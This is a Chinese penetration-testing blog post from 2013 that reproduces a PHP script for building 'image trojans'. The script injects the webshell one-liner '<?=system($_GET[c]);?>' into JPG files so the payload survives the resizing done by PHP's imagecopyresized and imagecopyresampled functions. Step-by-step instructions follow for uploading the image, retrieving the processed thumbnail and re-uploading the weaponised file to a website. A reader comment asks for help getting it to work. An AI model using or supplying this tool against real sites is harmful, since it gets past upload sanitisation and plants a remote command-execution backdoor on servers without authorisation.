您的位置 » 首页 » 渗透测试 » 骑人淫技:突破php的imagecopyresampled 和imagecopyresized 实现图片马JPG

骑人淫技:突破php的imagecopyresampled 和imagecopyresized 实现图片马JPG

发表于4年前 | 作者: seay | 分类: 渗透测试 | 孵化于:2013年07月27日 | 文章热度:13,658 次 全屏阅读

显示不全请点击全屏阅读

之前有人发布了 利用PNG 图片上述压缩函数的方法 原理利用
PNG的结构IDAT chunks填充一句话webshell,并进行一套取模运算  详见:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

但是受限于  图像的尺寸 必须320×320 且必须是PNG格式

那JPG怎么办

神奇的老外 提出了列方法

<?php 
        /* 

        The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations 
        caused by PHP functions imagecopyresized() and imagecopyresampled(). 
        It is necessary that the size and quality of the initial image are the same as those of the processed 
        image. 

        1) Upload an arbitrary image via secured files upload script 
        2) Save the processed image and launch: 
        php jpg_payload.php <jpg_name.jpg> 

        In case of successful injection you will get a specially crafted image, which should be uploaded again. 

        Since the most straightforward injection method is used, the following problems can occur: 
        1) After the second processing the injected data may become partially corrupted. 
        2) The jpg_payload.php script outputs "Something's wrong". 
        If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another 
        initial image. 

        Sergey Bobrov @Black2Fan. 

        See also: 
        https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ 

        */ 

        $miniPayload = '<?=system($_GET[c]);?>'; 

        if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { 
        die('php-gd is not installed'); 
        } 
       
        if(!isset($argv[1])) { 
                die('php jpg_payload.php <jpg_name.jpg>'); 
        } 

        set_error_handler("custom_error_handler"); 

        for($pad = 0; $pad < 1024; $pad++) { 
                $nullbytePayloadSize = $pad; 
                $dis = new DataInputStream($argv[1]); 
                $outStream = file_get_contents($argv[1]); 
                $extraBytes = 0; 
                $correctImage = TRUE; 

                if($dis->readShort() != 0xFFD8) { 
                        die('Incorrect SOI marker'); 
                } 

                while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { 
                        $marker = $dis->readByte(); 
                        $size = $dis->readShort() - 2; 
                        $dis->skip($size); 
                        if($marker === 0xDA) { 
                                $startPos = $dis->seek(); 
                                $outStreamTmp = 
                                        substr($outStream, 0, $startPos) . 
                                        $miniPayload . 
                                        str_repeat("\0",$nullbytePayloadSize) . 
                                        substr($outStream, $startPos); 
                                checkImage('_'.$argv[1], $outStreamTmp, TRUE); 
                                if($extraBytes !== 0) { 
                                        while((!$dis->eof())) { 
                                                if($dis->readByte() === 0xFF) { 
                                                        if($dis->readByte !== 0x00) { 
                                                                break; 
                                                        } 
                                                } 
                                        } 
                                        $stopPos = $dis->seek() - 2; 
                                        $imageStreamSize = $stopPos - $startPos; 
                                        $outStream = 
                                                substr($outStream, 0, $startPos) . 
                                                $miniPayload . 
                                                substr( 
                                                        str_repeat("\0",$nullbytePayloadSize). 
                                                                substr($outStream, $startPos, $imageStreamSize), 
                                                        0, 
                                                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                                                substr($outStream, $stopPos); 
                                } elseif($correctImage) { 
                                        $outStream = $outStreamTmp; 
                                } else { 
                                        break; 
                                } 
                                if(checkImage('payload_'.$argv[1], $outStream)) { 
                                        die('Success!'); 
                                } else { 
                                        break; 
                                } 
                        } 
                } 
        } 
        unlink('payload_'.$argv[1]); 
        die('Something\'s wrong'); 

        function checkImage($filename, $data, $unlink = FALSE) { 
                global $correctImage; 
                file_put_contents($filename, $data); 
                $correctImage = TRUE; 
                imagecreatefromjpeg($filename); 
                if($unlink) 
                        unlink($filename); 
                return $correctImage; 
        } 

        function custom_error_handler($errno, $errstr, $errfile, $errline) { 
                global $extraBytes, $correctImage; 
                $correctImage = FALSE; 
                if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { 
                        if(isset($m[1])) { 
                                $extraBytes = (int)$m[1]; 
                        } 
                } 
        } 

        class DataInputStream { 
                private $binData; 
                private $order; 
                private $size; 

                public function __construct($filename, $order = false, $fromString = false) { 
                        $this->binData = ''; 
                        $this->order = $order; 
                        if(!$fromString) { 
                                if(!file_exists($filename) || !is_file($filename)) 
                                        die('File not exists ['.$filename.']'); 
                                $this->binData = file_get_contents($filename); 
                        } else { 
                                $this->binData = $filename; 
                        } 
                        $this->size = strlen($this->binData); 
                } 

                public function seek() { 
                        return ($this->size - strlen($this->binData)); 
                } 

                public function skip($skip) { 
                        $this->binData = substr($this->binData, $skip); 
                } 

                public function readByte() { 
                        if($this->eof()) { 
                                die('End Of File'); 
                        } 
                        $byte = substr($this->binData, 0, 1); 
                        $this->binData = substr($this->binData, 1); 
                        return ord($byte); 
                } 

                public function readShort() { 
                        if(strlen($this->binData) < 2) { 
                                die('End Of File'); 
                        } 
                        $short = substr($this->binData, 0, 2); 
                        $this->binData = substr($this->binData, 2); 
                        if($this->order) { 
                                $short = (ord($short[1]) << 8) + ord($short[0]); 
                        } else { 
                                $short = (ord($short[0]) << 8) + ord($short[1]); 
                        } 
                        return $short; 
                } 

                public function eof() { 
                        return !$this->binData||(strlen($this->binData) === 0); 
                } 
        } 
?>

 

http://pastebin.com/3cznqi8P
具体方法 时:
1.  你先要 上传你想要构造的图片马原片
2.  等网站生成完缩略图下载下来
3.  用上述脚本 生成带图片的 木马
4.  重新上传到网站     结束

这个也要看运气成分

 

作者:livers

Tags:

骑人淫技,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/3254/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

已经有1个筒子留下了脚印...

  • kk 说:
    1楼
    2013 年 7 月 29 日 下午 6:51 回复

    大哥测试成功了吗 意思是先上传之后把图片另存下来 然后放到同一目录运行吗 运行之后没有提示成功之类的 那个图片访问了之后也跟之前一样 不知道如何能插入Php代码? 😐 求指教

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)